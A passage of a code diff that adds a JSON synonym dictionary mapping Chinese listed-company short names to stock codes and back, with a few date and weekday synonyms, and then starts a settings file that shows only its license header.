"603559", +"603559": "ST通脉", +"锌业股份": "000751", +"000751": "锌业股份", +"宏达高科": "002144", +"002144": "宏达高科", +"民士达": "833394", +"833394": "民士达", +"索辰科技": "688507", +"688507": "索辰科技", +"远航精密": "833914", +"833914": "远航精密", +"厦门港务": "000905", +"000905": "厦门港务", +"易实精密": "836221", +"836221": "易实精密", +"迪马股份": "600565", +"600565": "迪马股份", +"引力传媒": "603598", +"603598": "引力传媒", +"陕鼓动力": "601369", +"601369": "陕鼓动力", +"艾华集团": "603989", +"603989": "艾华集团", +"江南高纤": "600527", +"600527": "江南高纤", +"大豪科技": "603025", +"603025": "大豪科技", +"嘉环科技": "603206", +"603206": "嘉环科技", +"三生国健": "688336", +"688336": "三生国健", +"我武生物": "300357", +"300357": "我武生物", +"灿瑞科技": "688061", +"688061": "灿瑞科技", +"华亚智能": "003043", +"003043": "华亚智能", +"中持股份": "603903", +"603903": "中持股份", +"先锋电子": "002767", +"002767": "先锋电子", +"大叶股份": "300879", +"300879": "大叶股份", +"道道全": "002852", +"002852": "道道全", +"高铁电气": "688285", +"688285": "高铁电气", +"巨能股份": "871478", +"871478": "巨能股份", +"中国银行": "601988", +"601988": "中国银行", +"燕麦科技": "688312", +"688312": "燕麦科技", +"ST天成": "600112", +"600112": "ST天成", +"南京证券": "601990", +"601990": "南京证券", +"安源煤业": "600397", +"600397": "安源煤业", +"华阳股份": "600348", +"600348": "华阳股份", +"S*ST托普": "000583", +"000583": "S*ST托普", +"新天地": "301277", +"301277": "新天地", +"成都路桥": "002628", +"002628": "成都路桥", +"志邦家居": "603801", +"603801": "志邦家居", +"天正电气": "605066", +"605066": "天正电气", +"宁波富邦": "600768", +"600768": "宁波富邦", +"凯因科技": "688687", +"688687": "凯因科技", +"东方证券": "600958", +"600958": "东方证券", +"可立克": "002782", +"002782": "可立克", +"鸿合科技": "002955", +"002955": "鸿合科技", +"金域医学": "603882", +"603882": "金域医学", +"隆鑫通用": "603766", +"603766": "隆鑫通用", +"麦格米特": "002851", +"002851": "麦格米特", +"复星医药": "600196", +"600196": "复星医药", +"中体产业": "600158", +"600158": "中体产业", +"索菱股份": "002766", +"002766": "索菱股份", +"怡合达": "301029", +"301029": "怡合达", +"戴维医疗": "300314", +"300314": "戴维医疗", +"雅戈尔": "600177", +"600177": "雅戈尔", +"北化股份": "002246", +"002246": "北化股份", +"威尔高": "301251", +"301251": "威尔高", +"安琪酵母": "600298", +"600298": "安琪酵母", +"流金科技": "834021", +"834021": "流金科技", +"*ST广田": "002482", +"002482": "*ST广田", +"安妮股份": "002235", +"002235": "安妮股份", +"科源制药": "301281", +"301281": "科源制药", +"北摩高科": "002985", +"002985": "北摩高科", +"怡球资源": "601388", +"601388": "怡球资源", +"朗科科技": "300042", +"300042": "朗科科技", +"精准信息": "300099", +"300099": "精准信息", +"襄阳轴承": "000678", +"000678": "襄阳轴承", +"赤峰黄金": "600988", +"600988": "赤峰黄金", +"三孚新科": "688359", +"688359": "三孚新科", +"博睿数据": "688229", +"688229": "博睿数据", +"天力复合": "873576", +"873576": "天力复合", +"*ST佳沃": "300268", +"300268": "*ST佳沃", +"亿联网络": "300628", +"300628": "亿联网络", +"养元饮品": "603156", +"603156": "养元饮品", +"中海油服": "601808", +"601808": "中海油服", +"东方电热": "300217", +"300217": "东方电热", +"宁沪高速": "600377", +"600377": "宁沪高速", +"江河集团": "601886", +"601886": "江河集团", +"英方软件": "688435", +"688435": "英方软件", +"英飞拓": "002528", +"002528": "英飞拓", +"每日互动": "300766", +"300766": "每日互动", +"西麦食品": "002956", +"002956": "西麦食品", +"凌玮科技": "301373", +"301373": "凌玮科技", +"通力科技": "301255", +"301255": "通力科技", +"掌趣科技": "300315", +"300315": "掌趣科技", +"广安爱众": "600979", +"600979": "广安爱众", +"三维股份": "603033", +"603033": "三维股份", +"太极股份": "002368", +"002368": "太极股份", +"洪兴股份": "001209", +"001209": "洪兴股份", +"皇庭国际": "000056", +"000056": "皇庭国际", +"春兰股份": "600854", +"600854": "春兰股份", +"洪通燃气": "605169", +"605169": "洪通燃气", +"*ST中捷": "002021", +"002021": "*ST中捷", +"电投能源": "002128", +"002128": "电投能源", +"大智慧": "601519", +"601519": "大智慧", +"金太阳": "300606", +"300606": "金太阳", +"力星股份": "300421", +"300421": "力星股份", +"新赛股份": "600540", +"600540": "新赛股份", +"立昂技术": "300603", +"300603": "立昂技术", +"中国电研": "688128", +"688128": "中国电研", +"先锋新材": "300163", +"300163": "先锋新材", +"广西广电": "600936", +"600936": "广西广电", +"汉钟精机": "002158", +"002158": "汉钟精机", +"雅创电子": "301099", +"301099": "雅创电子", +"武钢股份": "600005", +"600005": "武钢股份", +"星湖科技": "600866", +"600866": "星湖科技", +"太和水": "605081", +"605081": "太和水", +"西部建设": "002302", +"002302": "西部建设", +"中超控股": "002471", +"002471": "中超控股", +"华盛锂电": "688353", +"688353": "华盛锂电", +"久盛电气": "301082", +"301082": "久盛电气", +"佛慈制药": "002644", +"002644": "佛慈制药", +"思特威-W": "688213", +"688213": "思特威-W", +"渤海股份": "000605", +"000605": "渤海股份", +"富奥股份": "000030", +"000030": "富奥股份", +"逸豪新材": "301176", +"301176": "逸豪新材", +"坤彩科技": "603826", +"603826": "坤彩科技", +"和远气体": "002971", +"002971": "和远气体", +"银信科技": "300231", +"300231": "银信科技", +"昆船智能": "301311", +"301311": "昆船智能", +"威龙股份": "603779", +"603779": "威龙股份", +"新强联": "300850", +"300850": "新强联", +"秋乐种业": "831087", +"831087": "秋乐种业", +"厦钨新能": "688778", +"688778": "厦钨新能", +"南天信息": "000948", +"000948": "南天信息", +"农发种业": "600313", +"600313": "农发种业", +"科创新材": "833580", +"833580": "科创新材", +"昆仑万维": "300418", +"300418": "昆仑万维", +"中元股份": "300018", +"300018": "中元股份", +"华菱钢铁": "000932", +"000932": "华菱钢铁", +"金陵体育": "300651", +"300651": "金陵体育", +"南华期货": "603093", +"603093": "南华期货", +"华洋赛车": "834058", +"834058": "华洋赛车", +"天宇股份": "300702", +"300702": "天宇股份", +"三环集团": "300408", +"300408": "三环集团", +"美之高": "834765", +"834765": "美之高", +"海康威视": "002415", +"002415": "海康威视", +"新天然气": "603393", +"603393": "新天然气", +"新开普": "300248", +"300248": "新开普", +"凯撒文化": "002425", +"002425": "凯撒文化", +"裕兴股份": "300305", +"300305": "裕兴股份", +"拱东医疗": "605369", +"605369": "拱东医疗", +"华兰疫苗": "301207", +"301207": "华兰疫苗", +"贵州燃气": "600903", +"600903": "贵州燃气", +"凌云光": "688400", +"688400": "凌云光", +"宏和科技": "603256", +"603256": "宏和科技", +"城市传媒": "600229", +"600229": "城市传媒", +"宏微科技": "688711", +"688711": "宏微科技", +"ST贵人": "603555", +"603555": "ST贵人", +"潜能恒信": "300191", +"300191": "潜能恒信", +"博敏电子": "603936", +"603936": "博敏电子", +"泰坦科技": "688133", +"688133": "泰坦科技", +"中潜退": "300526", +"300526": "中潜退", +"庚星股份": "600753", +"600753": "庚星股份", +"步科股份": "688160", +"688160": "步科股份", +"凯伦股份": "300715", +"300715": "凯伦股份", +"南华生物": "000504", +"000504": "南华生物", +"*ST京蓝": "000711", +"000711": "*ST京蓝", +"青岛银行": "002948", +"002948": "青岛银行", +"ST三圣": "002742", +"002742": "ST三圣", +"锦龙股份": "000712", +"000712": "锦龙股份", +"万盛股份": "603010", +"603010": "万盛股份", +"梓橦宫": "832566", +"832566": "梓橦宫", +"网达软件": "603189", +"603189": "网达软件", +"盛泰集团": "605138", +"605138": "盛泰集团", +"中国软件": "600536", +"600536": "中国软件", +"志特新材": "300986", +"300986": "志特新材", +"方大炭素": "600516", +"600516": "方大炭素", +"中核科技": "000777", +"000777": "中核科技", +"金诚信": "603979", +"603979": "金诚信", +"中文在线": "300364", +"300364": "中文在线", +"腾亚精工": "301125", +"301125": "腾亚精工", +"民德电子": "300656", +"300656": "民德电子", +"富祥药业": "300497", +"300497": "富祥药业", +"欣龙控股": "000955", +"000955": "欣龙控股", +"爱美客": "300896", +"300896": "爱美客", +"威贸电子": "833346", +"833346": "威贸电子", +"东方嘉盛": "002889", +"002889": "东方嘉盛", +"顺控发展": "003039", +"003039": "顺控发展", +"双枪科技": "001211", +"001211": "双枪科技", +"驰诚股份": "834407", +"834407": "驰诚股份", +"*ST柏龙": "002776", +"002776": "*ST柏龙", +"华东重机": "002685", +"002685": "华东重机", +"春光药装": "838810", +"838810": "春光药装", +"高测股份": "688556", +"688556": "高测股份", +"天德钰": "688252", +"688252": "天德钰", +"福耀玻璃": "600660", +"600660": "福耀玻璃", +"利和兴": "301013", +"301013": "利和兴", +"泛微网络": "603039", +"603039": "泛微网络", +"琏升科技": "300051", +"300051": "琏升科技", +"瑞斯康达": "603803", +"603803": "瑞斯康达", +"岭南控股": "000524", +"000524": "岭南控股", +"新泉股份": "603179", +"603179": "新泉股份", +"天士力": "600535", +"600535": "天士力", +"光力科技": "300480", +"300480": "光力科技", +"浦发银行": "600000", +"600000": "浦发银行", +"三达膜": "688101", +"688101": "三达膜", +"福鞍股份": "603315", +"603315": "福鞍股份", +"通合科技": "300491", +"300491": "通合科技", +"退市昆机": "600806", +"600806": "退市昆机", +"金花股份": "600080", +"600080": "金花股份", +"强力新材": "300429", +"300429": "强力新材", +"深科达": "688328", +"688328": "深科达", +"泰福泵业": "300992", +"300992": "泰福泵业", +"三元生物": "301206", +"301206": "三元生物", +"快克智能": "603203", +"603203": "快克智能", +"善水科技": "301190", +"301190": "善水科技", +"XD方盛制": "603998", +"603998": "XD方盛制", +"铖昌科技": "001270", +"001270": "铖昌科技", +"天坛生物": "600161", +"600161": "天坛生物", +"海南椰岛": "600238", +"600238": "海南椰岛", +"达瑞电子": "300976", +"300976": "达瑞电子", +"唐人神": "002567", +"002567": "唐人神", +"立讯精密": "002475", +"002475": "立讯精密", +"蓝帆医疗": "002382", +"002382": "蓝帆医疗", +"海量数据": "603138", +"603138": "海量数据", +"清溢光电": "688138", +"688138": "清溢光电", +"创元科技": "000551", +"000551": "创元科技", +"遥望科技": "002291", +"002291": "遥望科技", +"浙江龙盛": "600352", +"600352": "浙江龙盛", +"京威股份": "002662", +"002662": "京威股份", +"中原油气": "000956", +"000956": "中原油气", +"上海莱士": "002252", +"002252": "上海莱士", +"居然之家": "000785", +"000785": "居然之家", +"禾川科技": "688320", +"688320": "禾川科技", +"普瑞眼科": "301239", +"301239": "普瑞眼科", +"璞泰来": "603659", +"603659": "璞泰来", +"全信股份": "300447", +"300447": "全信股份", +"惠城环保": "300779", +"300779": "惠城环保", +"物产中大": "600704", +"600704": "物产中大", +"浙江美大": "002677", +"002677": "浙江美大", +"中路股份": "600818", +"600818": "中路股份", +"寿仙谷": "603896", +"603896": "寿仙谷", +"特锐德": "300001", +"300001": "特锐德", +"伊戈尔": "002922", +"002922": "伊戈尔", +"炜冈科技": "001256", +"001256": "炜冈科技", +"厦门空港": "600897", +"600897": "厦门空港", +"煌上煌": "002695", +"002695": "煌上煌", +"天海防务": "300008", +"300008": "天海防务", +"星网锐捷": "002396", +"002396": "星网锐捷", +"爱丽家居": "603221", +"603221": "爱丽家居", +"科思股份": "300856", +"300856": "科思股份", +"易华录": "300212", +"300212": "易华录", +"大晟文化": "600892", +"600892": "大晟文化", +"顺灏股份": "002565", +"002565": "顺灏股份", +"古越龙山": "600059", +"600059": "古越龙山", +"中马传动": "603767", +"603767": "中马传动", +"宝兰德": "688058", +"688058": "宝兰德", +"峆一药业": "430478", +"430478": "峆一药业", +"智明达": "688636", +"688636": "智明达", +"岱勒新材": "300700", +"300700": "岱勒新材", +"易尚退": "002751", +"002751": "易尚退", +"电科网安": "002268", +"002268": "电科网安", +"银河微电": "688689", +"688689": "银河微电", +"凤凰光学": "600071", +"600071": "凤凰光学", +"长海股份": "300196", +"300196": "长海股份", +"海川智能": "300720", +"300720": "海川智能", +"深信服": "300454", +"300454": "深信服", +"万润新能": "688275", +"688275": "万润新能", +"和而泰": "002402", +"002402": "和而泰", +"皇氏集团": "002329", +"002329": "皇氏集团", +"盐": "000088", +"000088": "盐", +"ST天顺": "002800", +"002800": "ST天顺", +"奥普家居": "603551", +"603551": "奥普家居", +"上峰水泥": "000672", +"000672": "上峰水泥", +"数据港": "603881", +"603881": "数据港", +"大地海洋": "301068", +"301068": "大地海洋", +"雪迪龙": "002658", +"002658": "雪迪龙", +"*ST蓝光": "600466", +"600466": "*ST蓝光", +"国信证券": "002736", +"002736": "国信证券", +"德林海": "688069", +"688069": "德林海", +"振华新材": "688707", +"688707": "振华新材", +"国民技术": "300077", +"300077": "国民技术", +"博济医药": "300404", +"300404": "博济医药", +"科远智慧": "002380", +"002380": "科远智慧", +"森赫股份": "301056", +"301056": "森赫股份", +"光正眼科": "002524", +"002524": "光正眼科", +"博迁新材": "605376", +"605376": "博迁新材", +"慧博云通": "301316", +"301316": "慧博云通", +"广电网络": "600831", +"600831": "广电网络", +"永茂泰": "605208", +"605208": "永茂泰", +"同飞股份": "300990", +"300990": "同飞股份", +"酒钢宏兴": "600307", +"600307": "酒钢宏兴", +"浙文互联": "600986", +"600986": "浙文互联", +"榕基软件": "002474", +"002474": "榕基软件", +"海程邦达": "603836", +"603836": "海程邦达", +"国轩高科": "002074", +"002074": "国轩高科", +"葵花药业": "002737", +"002737": "葵花药业", +"中科电气": "300035", +"300035": "中科电气", +"道森股份": "603800", +"603800": "道森股份", +"浪潮软件": "600756", +"600756": "浪潮软件", +"华兰股份": "301093", +"301093": "华兰股份", +"友车科技": "688479", +"688479": "友车科技", +"广东明珠": "600382", +"600382": "广东明珠", +"睿能科技": "603933", +"603933": "睿能科技", +"中电环保": "300172", +"300172": "中电环保", +"重庆百货": "600729", +"600729": "重庆百货", +"广信股份": "603599", +"603599": "广信股份", +"天能股份": "688819", +"688819": "天能股份", +"美畅股份": "300861", +"300861": "美畅股份", +"昊海生科": "688366", +"688366": "昊海生科", +"吉林碳谷": "836077", +"836077": "吉林碳谷", +"东方创业": "600278", +"600278": "东方创业", +"隆利科技": "300752", +"300752": "隆利科技", +"东港股份": "002117", +"002117": "东港股份", +"中研股份": "688716", +"688716": "中研股份", +"江苏吴中": "600200", +"600200": "江苏吴中", +"浩云科技": "300448", +"300448": "浩云科技", +"思美传媒": "002712", +"002712": "思美传媒", +"锦鸡股份": "300798", +"300798": "锦鸡股份", +"中国电影": "600977", +"600977": "中国电影", +"展鹏科技": "603488", +"603488": "展鹏科技", +"津荣天宇": "300988", +"300988": "津荣天宇", +"海特高新": "002023", +"002023": "海特高新", +"川金诺": "300505", +"300505": "川金诺", +"理工导航": "688282", +"688282": "理工导航", +"达威股份": "300535", +"300535": "达威股份", +"雷迪克": "300652", +"300652": "雷迪克", +"诚意药业": "603811", +"603811": "诚意药业", +"中亦科技": "301208", +"301208": "中亦科技", +"地素时尚": "603587", +"603587": "地素时尚", +"中原内配": "002448", +"002448": "中原内配", +"中国人寿": "601628", +"601628": "中国人寿", +"川投能源": "600674", +"600674": "川投能源", +"百联股份": "600827", +"600827": "百联股份", +"中信海直": "000099", +"000099": "中信海直", +"哈空调": "600202", +"600202": "哈空调", +"文科园林": "002775", +"002775": "文科园林", +"大丰实业": "603081", +"603081": "大丰实业", +"铁流股份": "603926", +"603926": "铁流股份", +"云铝股份": "000807", +"000807": "云铝股份", +"新力金融": "600318", +"600318": "新力金融", +"潮宏基": "002345", +"002345": "潮宏基", +"启迪设计": "300500", +"300500": "启迪设计", +"南王科技": "301355", +"301355": "南王科技", +"广宇发展": "000537", +"000537": "广宇发展", +"科兴制药": "688136", +"688136": "科兴制药", +"华工科技": "000988", +"000988": "华工科技", +"司南导航": "688592", +"688592": "司南导航", +"尖峰集团": "600668", +"600668": "尖峰集团", +"沃森生物": "300142", +"300142": "沃森生物", +"九安医疗": "002432", +"002432": "九安医疗", +"世名科技": "300522", +"300522": "世名科技", +"金河生物": "002688", +"002688": "金河生物", +"鼎通科技": "688668", +"688668": "鼎通科技", +"光华科技": "002741", +"002741": "光华科技", +"威奥股份": "605001", +"605001": "威奥股份", +"综艺股份": "600770", +"600770": "综艺股份", +"银邦股份": "300337", +"300337": "银邦股份", +"漳州发展": "000753", +"000753": "漳州发展", +"飞鹿股份": "300665", +"300665": "飞鹿股份", +"大北农": "002385", +"002385": "大北农", +"春光科技": "603657", +"603657": "春光科技", +"夜光明": "873527", +"873527": "夜光明", +"广晟有色": "600259", +"600259": "广晟有色", +"中建环能": "300425", +"300425": "中建环能", +"海能技术": "430476", +"430476": "海能技术", +"ST粤泰": "600393", +"600393": "ST粤泰", +"春兴精工": "002547", +"002547": "春兴精工", +"凯龙高科": "300912", +"300912": "凯龙高科", +"天智航-U": "688277", +"688277": "天智航-U", +"百川畅银": "300614", +"300614": "百川畅银", +"科迪退": "002770", +"002770": "科迪退", +"建科机械": "300823", +"300823": "建科机械", +"美邦科技": "832471", +"832471": "美邦科技", +"锐明技术": "002970", +"002970": "锐明技术", +"国泰集团": "603977", +"603977": "国泰集团", +"传艺科技": "002866", +"002866": "传艺科技", +"中无人机": "688297", +"688297": "中无人机", +"奥比中光-UW": "688322", +"688322": "奥比中光-UW", +"奥海科技": "002993", +"002993": "奥海科技", +"仲景食品": "300908", +"300908": "仲景食品", +"武汉控股": "600168", +"600168": "武汉控股", +"宝胜股份": "600973", +"600973": "宝胜股份", +"和佳退": "300273", +"300273": "和佳退", +"天微电子": "688511", +"688511": "天微电子", +"宁波高发": "603788", +"603788": "宁波高发", +"万达电影": "002739", +"002739": "万达电影", +"华大基因": "300676", +"300676": "华大基因", +"中设股份": "002883", +"002883": "中设股份", +"安靠智电": "300617", +"300617": "安靠智电", +"真爱美家": "003041", +"003041": "真爱美家", +"京华激光": "603607", +"603607": "京华激光", +"甬金股份": "603995", +"603995": "甬金股份", +"天奥电子": "002935", +"002935": "天奥电子", +"中百集团": "000759", +"000759": "中百集团", +"汉森制药": "002412", +"002412": "汉森制药", +"华源控股": "002787", +"002787": "华源控股", +"退市锐电": "601558", +"601558": "退市锐电", +"国联股份": "603613", +"603613": "国联股份", +"佳禾智能": "300793", +"300793": "佳禾智能", +"城发环境": "000885", +"000885": "城发环境", +"宁波中百": "600857", +"600857": "宁波中百", +"京城股份": "600860", +"600860": "京城股份", +"ST星源": "000005", +"000005": "ST星源", +"绿城水务": "601368", +"601368": "绿城水务", +"华北高速": "000916", +"000916": "华北高速", +"兴蓉环境": "000598", +"000598": "兴蓉环境", +"江苏国泰": "002091", +"002091": "江苏国泰", +"TCL科技": "000100", +"000100": "TCL科技", +"远信工业": "301053", +"301053": "远信工业", +"思维列控": "603508", +"603508": "思维列控", +"永悦科技": "603879", +"603879": "永悦科技", +"中科星图": "688568", +"688568": "中科星图", +"读者传媒": "603999", +"603999": "读者传媒", +"中银证券": "601696", +"601696": "中银证券", +"则成电子": "837821", +"837821": "则成电子", +"格尔软件": "603232", +"603232": "格尔软件", +"绿能慧充": "600212", +"600212": "绿能慧充", +"力合科创": "002243", +"002243": "力合科创", +"浙江鼎力": "603338", +"603338": "浙江鼎力", +"广电运通": "002152", +"002152": "广电运通", +"扬杰科技": "300373", +"300373": "扬杰科技", +"软控股份": "002073", +"002073": "软控股份", +"东山精密": "002384", +"002384": "东山精密", +"应流股份": "603308", +"603308": "应流股份", +"*ST洲际": "600759", +"600759": "*ST洲际", +"欧科亿": "688308", +"688308": "欧科亿", +"辽宁能源": "600758", +"600758": "辽宁能源", +"天目湖": "603136", +"603136": "天目湖", +"科翔股份": "300903", +"300903": "科翔股份", +"恒玄科技": "688608", +"688608": "恒玄科技", +"中国巨石": "600176", +"600176": "中国巨石", +"利尔达": "832149", +"832149": "利尔达", +"华阳国际": "002949", +"002949": "华阳国际", +"星云股份": "300648", +"300648": "星云股份", +"金财互联": "002530", +"002530": "金财互联", +"广和通": "300638", +"300638": "广和通", +"共达电声": "002655", +"002655": "共达电声", +"华塑科技": "301157", +"301157": "华塑科技", +"晨光生物": "300138", +"300138": "晨光生物", +"浙江荣泰": "603119", +"603119": "浙江荣泰", +"华软科技": "002453", +"002453": "华软科技", +"鸿利智汇": "300219", +"300219": "鸿利智汇", +"中盐化工": "600328", +"600328": "中盐化工", +"中南建设": "000961", +"000961": "中南建设", +"飞马国际": "002210", +"002210": "飞马国际", +"沪光股份": "605333", +"605333": "沪光股份", +"华康股份": "605077", +"605077": "华康股份", +"歌力思": "603808", +"603808": "歌力思", +"江龙船艇": "300589", +"300589": "江龙船艇", +"中国出版": "601949", +"601949": "中国出版", +"齐心集团": "002301", +"002301": "齐心集团", +"智云股份": "300097", +"300097": "智云股份", +"欧康医药": "833230", +"833230": "欧康医药", +"退市金钰": "600086", +"600086": "退市金钰", +"李子园": "605337", +"605337": "李子园", +"海马汽车": "000572", +"000572": "海马汽车", +"华电重工": "601226", +"601226": "华电重工", +"仟源医药": "300254", +"300254": "仟源医药", +"齐鲁华信": "830832", +"830832": "齐鲁华信", +"长动退": "000835", +"000835": "长动退", +"广汽长丰": "600991", +"600991": "广汽长丰", +"翰宇药业": "300199", +"300199": "翰宇药业", +"焦作万方": "000612", +"000612": "焦作万方", +"博迈科": "603727", +"603727": "博迈科", +"路桥信息": "837748", +"837748": "路桥信息", +"百洋股份": "002696", +"002696": "百洋股份", +"冀东装备": "000856", +"000856": "冀东装备", +"佩蒂股份": "300673", +"300673": "佩蒂股份", +"吉艾退": "300309", +"300309": "吉艾退", +"白云电器": "603861", +"603861": "白云电器", +"劲仔食品": "003000", +"003000": "劲仔食品", +"芯能科技": "603105", +"603105": "芯能科技", +"世纪恒通": "301428", +"301428": "世纪恒通", +"亚华电子": "301337", +"301337": "亚华电子", +"ST国嘉": "600646", +"600646": "ST国嘉", +"中国中车": "601766", +"601766": "中国中车", +"创兴资源": "600193", +"600193": "创兴资源", +"真视通": "002771", +"002771": "真视通", +"退市吉恩": "600432", +"600432": "退市吉恩", +"香农芯创": "300475", +"300475": "香农芯创", +"鸿博股份": "002229", +"002229": "鸿博股份", +"宁波东力": "002164", +"002164": "宁波东力", +"钱江摩托": "000913", +"000913": "钱江摩托", +"联得装备": "300545", +"300545": "联得装备", +"中信出版": "300788", +"300788": "中信出版", +"黑芝麻": "000716", +"000716": "黑芝麻", +"民爆光电": "301362", +"301362": "民爆光电", +"正虹科技": "000702", +"000702": "正虹科技", +"微导纳米": "688147", +"688147": "微导纳米", +"朱老六": "831726", +"831726": "朱老六", +"金": "000402", +"000402": "金", +"中科磁业": "301141", +"301141": "中科磁业", +"思特奇": "300608", +"300608": "思特奇", +"深粮控股": "000019", +"000019": "深粮控股", +"幸福蓝海": "300528", +"300528": "幸福蓝海", +"立昂微": "605358", +"605358": "立昂微", +"冀中能源": "000937", +"000937": "冀中能源", +"爱柯迪": "600933", +"600933": "爱柯迪", +"江苏金租": "600901", +"600901": "江苏金租", +"世华科技": "688093", +"688093": "世华科技", +"森源电气": "002358", +"002358": "森源电气", +"万里股份": "600847", +"600847": "万里股份", +"建投能源": "000600", +"000600": "建投能源", +"博众精工": "688097", +"688097": "博众精工", +"青松建化": "600425", +"600425": "青松建化", +"广誉远": "600771", +"600771": "广誉远", +"天亿马": "301178", +"301178": "天亿马", +"中航泰达": "836263", +"836263": "中航泰达", +"帅丰电器": "605336", +"605336": "帅丰电器", +"保利联合": "002037", +"002037": "保利联合", +"埃斯顿": "002747", +"002747": "埃斯顿", +"双汇发展": "000895", +"000895": "双汇发展", +"何氏眼科": "301103", +"301103": "何氏眼科", +"茂硕电源": "002660", +"002660": "茂硕电源", +"方大新材": "838163", +"838163": "方大新材", +"乾照光电": "300102", +"300102": "乾照光电", +"钜泉科技": "688391", +"688391": "钜泉科技", +"ST鞍一工": "600813", +"600813": "ST鞍一工", +"汇川技术": "300124", +"300124": "汇川技术", +"锋龙股份": "002931", +"002931": "锋龙股份", +"数字人": "835670", +"835670": "数字人", +"山西证券": "002500", +"002500": "山西证券", +"新光药业": "300519", +"300519": "新光药业", +"吴通控股": "300292", +"300292": "吴通控股", +"天赐材料": "002709", +"002709": "天赐材料", +"深圳燃气": "601139", +"601139": "深圳燃气", +"葛洲坝": "600068", +"600068": "葛洲坝", +"梅花生物": "600873", +"600873": "梅花生物", +"滨化股份": "601678", +"601678": "滨化股份", +"国电电力": "600795", +"600795": "国电电力", +"税友股份": "603171", +"603171": "税友股份", +"博瑞医药": "688166", +"688166": "博瑞医药", +"苏州高新": "600736", +"600736": "苏州高新", +"壹网壹创": "300792", +"300792": "壹网壹创", +"小商品城": "600415", +"600415": "小商品城", +"威领股份": "002667", +"002667": "威领股份", +"汉维科技": "836957", +"836957": "汉维科技", +"中孚信息": "300659", +"300659": "中孚信息", +"凯众股份": "603037", +"603037": "凯众股份", +"中恒电气": "002364", +"002364": "中恒电气", +"中际旭创": "300308", +"300308": "中际旭创", +"福莱新材": "605488", +"605488": "福莱新材", +"科威尔": "688551", +"688551": "科威尔", +"博晖创新": "300318", +"300318": "博晖创新", +"退市富控": "600634", +"600634": "退市富控", +"深水海纳": "300961", +"300961": "深水海纳", +"中毅达": "600610", +"600610": "中毅达", +"利亚德": "300296", +"300296": "利亚德", +"口子窖": "603589", +"603589": "口子窖", +"上海三毛": "600689", +"600689": "上海三毛", +"协鑫集成": "002506", +"002506": "协鑫集成", +"航发动力": "600893", +"600893": "航发动力", +"腾远钴业": "301219", +"301219": "腾远钴业", +"苑东生物": "688513", +"688513": "苑东生物", +"兴瑞科技": "002937", +"002937": "兴瑞科技", +"航天环宇": "688523", +"688523": "航天环宇", +"众生药业": "002317", +"002317": "众生药业", +"北方长龙": "301357", +"301357": "北方长龙", +"泛亚微透": "688386", +"688386": "泛亚微透", +"黄河旋风": "600172", +"600172": "黄河旋风", +"浙大网新": "600797", +"600797": "浙大网新", +"石英股份": "603688", +"603688": "石英股份", +"长青集团": "002616", +"002616": "长青集团", +"通业科技": "300960", +"300960": "通业科技", +"深天马Ａ": "000050", +"000050": "深天马Ａ", +"大东南": "002263", +"002263": "大东南", +"福龙马": "603686", +"603686": "福龙马", +"同为股份": "002835", +"002835": "同为股份", +"拓尔思": "300229", +"300229": "拓尔思", +"芯瑞达": "002983", +"002983": "芯瑞达", +"兴森科技": "002436", +"002436": "兴森科技", +"聚胶股份": "301283", +"301283": "聚胶股份", +"长缆科技": "002879", +"002879": "长缆科技", +"沙钢股份": "002075", +"002075": "沙钢股份", +"恒生电子": "600570", +"600570": "恒生电子", +"美芝股份": "002856", +"002856": "美芝股份", +"慧智微-U": "688512", +"688512": "慧智微-U", +"邦讯退": "300312", +"300312": "邦讯退", +"三祥新材": "603663", +"603663": "三祥新材", +"物产金轮": "002722", +"002722": "物产金轮", +"美格智能": "002881", +"002881": "美格智能", +"芯导科技": "688230", +"688230": "芯导科技", +"天安新材": "603725", +"603725": "天安新材", +"福然德": "605050", +"605050": "福然德", +"创远信科": "831961", +"831961": "创远信科", +"密尔克卫": "603713", +"603713": "密尔克卫", +"东星医疗": "301290", +"301290": "东星医疗", +"三利谱": "002876", +"002876": "三利谱", +"阳谷华泰": "300121", +"300121": "阳谷华泰", +"重庆银行": "601963", +"601963": "重庆银行", +"开普检测": "003008", +"003008": "开普检测", +"华阳新材": "600281", +"600281": "华阳新材", +"热威股份": "603075", +"603075": "热威股份", +"ST通葡": "600365", +"600365": "ST通葡", +"科瑞思": "301314", +"301314": "科瑞思", +"瑞丰光电": "300241", +"300241": "瑞丰光电", +"兰卫医学": "301060", +"301060": "兰卫医学", +"舒华体育": "605299", +"605299": "舒华体育", +"鑫铂股份": "003038", +"003038": "鑫铂股份", +"神工股份": "688233", +"688233": "神工股份", +"华扬联众": "603825", +"603825": "华扬联众", +"康斯特": "300445", +"300445": "康斯特", +"泉为科技": "300716", +"300716": "泉为科技", +"赛升药业": "300485", +"300485": "赛升药业", +"新坐标": "603040", +"603040": "新坐标", +"润和软件": "300339", +"300339": "润和软件", +"白云山A": "000522", +"000522": "白云山A", +"宁波色母": "301019", +"301019": "宁波色母", +"海螺水泥": "600585", +"600585": "海螺水泥", +"天元宠物": "301335", +"301335": "天元宠物", +"迦南智能": "300880", +"300880": "迦南智能", +"南新制药": "688189", +"688189": "南新制药", +"博汇纸业": "600966", +"600966": "博汇纸业", +"瑞奇智造": "833781", +"833781": "瑞奇智造", +"华闻集团": "000793", +"000793": "华闻集团", +"电光科技": "002730", +"002730": "电光科技", +"威海广泰": "002111", +"002111": "威海广泰", +"德尔股份": "300473", +"300473": "德尔股份", +"深桑达Ａ": "000032", +"000032": "深桑达Ａ", +"信达地产": "600657", +"600657": "信达地产", +"天际股份": "002759", +"002759": "天际股份", +"四方精创": "300468", +"300468": "四方精创", +"万丰股份": "603172", +"603172": "万丰股份", +"天箭科技": "002977", +"002977": "天箭科技", +"浦东金桥": "600639", +"600639": "浦东金桥", +"南都物业": "603506", +"603506": "南都物业", +"威星智能": "002849", +"002849": "威星智能", +"同心传动": "833454", +"833454": "同心传动", +"博纳影业": "001330", +"001330": "博纳影业", +"去年": "2024", +"前年": "2023", +"今年": "2025", +"上季度": ["一季度", "q1"], +"q1": "一季度", +"q2": "二季度", +"q3": "三季度", +"q4": "四季度", +"周一": ["礼拜一", "星期一"], +"周二": ["礼拜二", "星期二"], +"周三": ["礼拜三", "星期三"], +"周四": ["礼拜四", "星期四"], +"周五": ["礼拜五", "星期五"], +"周六": ["礼拜六", "星期六"], +"周日": ["礼拜日", "星期日", "星期天", "礼拜天"], +"上班": "办公" +} diff --git a/rag/settings.py b/rag/settings.py new file mode 100644 index 0000000..c787287 --- /dev/null +++ b/rag/settings.py @@ -0,0 +1,85 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the 